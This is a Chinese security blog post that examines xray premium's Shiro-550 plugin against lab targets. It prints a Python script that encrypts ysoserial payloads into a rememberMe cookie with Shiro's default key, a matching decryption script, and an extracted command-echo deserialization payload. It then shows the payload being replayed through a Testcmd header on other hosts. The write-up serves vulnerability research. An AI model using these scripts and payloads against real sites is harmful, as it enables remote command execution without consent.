shiro新姿势:初探xray高级版shiro插件

 

0x00 前言

上周五,xray社区公众号发布xray高级版更新公告,新增 shiro 插件,shiro 漏洞一键检测。文章链接(点我

上图来源于微信公众号文章,可以看到,通过shiro-550这个神洞,可以将命令执行结果回显在响应包中。没错,它竟然回显了。

文章还介绍:

该插件内置长亭独有的反序列化研究成果
总结一下该插件亮点为:
内置独家 Java 反序列化利用链,有效作用于 shiro 环境
内置 Payload 支持全版本 Tomcat 回显,Tomcat 6,7,8,9 均通过测试
借助反连平台可以完美支持非 Tomcat 环境的漏洞检测
完整转置 ysoserial 至 Go 代码,无需 Java 依赖即可运行
自带 shiro 100 key,且支持通过配置文件自定义 shiro key

仔细想了想,这个独家Java反序列化利用链可能不会公布了,但我本人使用的高级版xray还是上个月xray社区一周年活动领取的,体验期只有两个月。又想一直“占有”这个shiro插件,故对其整个利用过程进行了简单研究,总结一个通用方法,达到同xray利用shiro相同的效果。

 

0x01 shiro rememberMe加解密过程

shiro RememeberMe 1.2.4反序列化漏洞这个漏洞原理不需要在这里多说,各大安全社区已经有很多分析文章,这里简单重复shiro 1.2.4及以下版本下默认cookie中rememberMe字段的生成过程:

1. 序列化恶意对象(payload)
2. 对序列化的数据进行AES加密
3. 将加密后的数据进行base64编码
4. 发送rememberMe cookie

贴一个加密码脚本:

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(payload,command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', payload, command], stdout=subprocess.PIPE)
    BS   = AES.block_size    # 16
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "ikB3y6O9BpimrZLB3rca0w=="
    mode =  AES.MODE_CBC 
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ysopayload = popen.stdout.read()
    file_body = pad(ysopayload)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme('CommonsCollections2',sys.argv[1])
    # print("rememberMe={}".format(payload.decode()))
    with open("payload.cookie", "w") as fpw:
        print("{}".format(payload.decode()), file=fpw)

这里需要注意的是,AES加密时,需要选择一个偏移向量IV,IV拼接在加密数据前(占16位),两者拼接后的数据经过base64编码后组成rememberMe cookie

同理,我们在Cookie中拿到rememberMe字段时,也可以依据以下的步骤进行解码,提取出有效关键的payload。

1. 获取rememberme cookie
2. base64 decode
3. 从第2步解码后的数据,前16位数据为加解密需要的iv,后面的数据为加密数据
4. 根据key、iv和加密模式(shiro中AES默认CBC)解密得到关键的序列化数据

贴一个简单的解密脚本:

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def decode_remember(remember):
    iv = base64.b64decode(remember)[:16]
    file_body = base64.b64decode(remember)[16:]
    key = "ikB3y6O9BpimrZLB3rca0w=="
    mode = AES.MODE_CBC
    decryptor = AES.new(base64.b64decode(key), mode, iv)
    result = decryptor.decrypt(file_body)
    print(result)


with open("xray.cookie", "r") as f:
    remember = f.readline().strip()

# print(remember)
decode_remember(remember)

得到这个序列化数据有啥用呢?文章开头就介绍了xray高级版对shiro550的“独家”回显利用,有了这个提取出来的关键的序列化数据,是不是就可以复用了?

 

0x02 xray高级版shiro插件使用

我们在本地搭建一个存在shiro550漏洞的靶场,演示下这个插件的利用过程。

上周五中午看到xray社区的文章,并没有介绍具体怎么使用这个插件。当我尝试使用xray对靶场进行shiro漏洞检测时,确实被检测出存在550这个漏洞:

./xray_windows_amd64.exe webscan --url "http://ip:port/login" --plugins shiro

漏洞是检测出来了,但说好的回显呢,还是我利用姿势不对?

我又翻出那篇社区文章,文章中显示的回显内容是在burp中,那就是要抓下这个过程的请求包。

打开xray配置文件config.yaml,找到下图中设置http代理的地方,将proxy字段设置为本地burp监听的端口(如:127.0.0.1:8080)

打开burp监听,启动xray:

可以看到xray的请求过程可以分为四步:

1. 访问给定的url,是否可以正常访问
2. xray默认访问index.php
3. 继续访问给定的url,同时带上rememberMe cookie,观察响应包中是否存在deleteMe关键字
4. 从100个key中选择,构造payload通过rememberMe cookie发送过去,并添加请求头Testecho(用于判断),看响应包中是否有预期的值

第四步我们可以再深入看下

cookie中的payload和Testecho请求头一起发送出去,在响应包中判断是否存在漏洞(Testecho的值并没有影响)。

命令执行回显

在请求头中添加Testcmd,值为要执行的命令:

很愉快得看到了回显,这样利用起来真的不要太方便!

 

0x03 对该插件进行复用

这个请求包对其他网站是否也适用呢?

我又搭建了一个后端存在shiro-550漏洞,网站功能区别于前一个靶场。xray也检测出存在相关的漏洞,所用的KEY也是一样。

我们经过前面的分析,知道了rememberMe cookie中的数据是经过key进行加密的(于iv无关),两个靶场的shiro key都是一样,那这个payload是不是可以原封不动地利用呢?

于是乎,我把这个请求包中的请求targetHost请求头进行修改,同样得到了命令回显结果,简直不要太舒服好吗。

认真观看上面两张结果截图的师傅可能发现了,这两个靶场都是Windows系统的,那Linux系统也可以复用吗?(狗头)

废话不多说,直接上Linux靶场,shiro的key还是同前面两种情况一样,改请求targetHost请求头一把梭:

太强了!Linux下同样适用。

 

0x04 提取关键payload

前面已经尝试了三种情况的靶场,都没问题。但三个靶场的key都是一样,要是以后碰到的目标key不同,那就不能直接梭了。

我们在前面的利用过程中,是已经知道shiro key的值,默认的加密模式是CBC,iv也可以从rememberMe的前16位提取出来,那这样就可以直接解密出关键payload,留着以后复用。

解密脚本在本文0x02中有贴出来。

解密出来关键序列化payload:

b'xacxedx00x05srx00x11java.util.HashMapx05x07xdaxc1xc3x16`xd1x03x00x02Fx00nloadFactorIx00tthresholdxp?@x00x00x00x00x00x0cwx08x00x00x00x10x00x00x00x01srx004org.apache.commons.collections.keyvalue.TiedMapEntryx8axadxd2x9b9xc1x1fxdbx02x00x02Lx00x03keytx00x12Ljava/lang/Object;Lx00x03maptx00x0fLjava/util/Map;xpsrx00:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpltWOxc1nxacxab3x03x00x08Ix00r_indentNumberIx00x0e_transletIndexZx00x15_useServicesMechanismLx00x0b_auxClassestx00;Lcom/sun/org/apache/xalan/internal/xsltc/runt
···
···
···
x0enewTransformerurx00x12[Ljava.lang.Class;xabx16xd7xaexcbxcdZx99x02x00x00xpx00x00x00x00sqx00~x00x00?@x00x00x00x00x00x0cwx08x00x00x00x10x00x00x00x00xxtx00x01txx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0f'

最后面0xf个’0xf’为AES加密前对数据的填充。

这样,以后碰到存在漏洞的shiro站后,可以用shirotools或者shiroexploit探测下,确认使用的KEY,再用这个key加密上面得到的序列化数据,就可以继续复用了。

很美好是不是,稍等。长亭说用的是独家的回显gadget,那他们这个gadget有多少个?

 

0x05 使用过程中存在的问题

经过试验,我一直使用上面测试过的gadget,基本上很多情况都可以直接打。但也有碰到shiroexploit能检测出来并且DnsLog有回显,xray没有检测出来的情况。这个问题应该是跟xray的实现有关。

我们平时利用shiro 550这个漏洞时,会用dnslog进行检测,前面我们看到了xray整个请求发包过程,是用的Testecho这个请求头,根据响应包中的内容判断是不是存在漏洞(完全是我个人的猜测,如有误,请批评指正!),这样可能对自己的gadget太过自信了,就导致shiroexploit检测出来,而xray却漏了。(再次声明,这完全是我本人的猜测。)

总之,长亭的师傅们太强了!xray真香,本菜鸡也要赶紧提交五个poc,争取早日换取高级版xray。

 

参考资料

shiro RememeberMe 1.2.4反序列化漏洞

python 利用Crypto进行AES解密&加密文件

(完)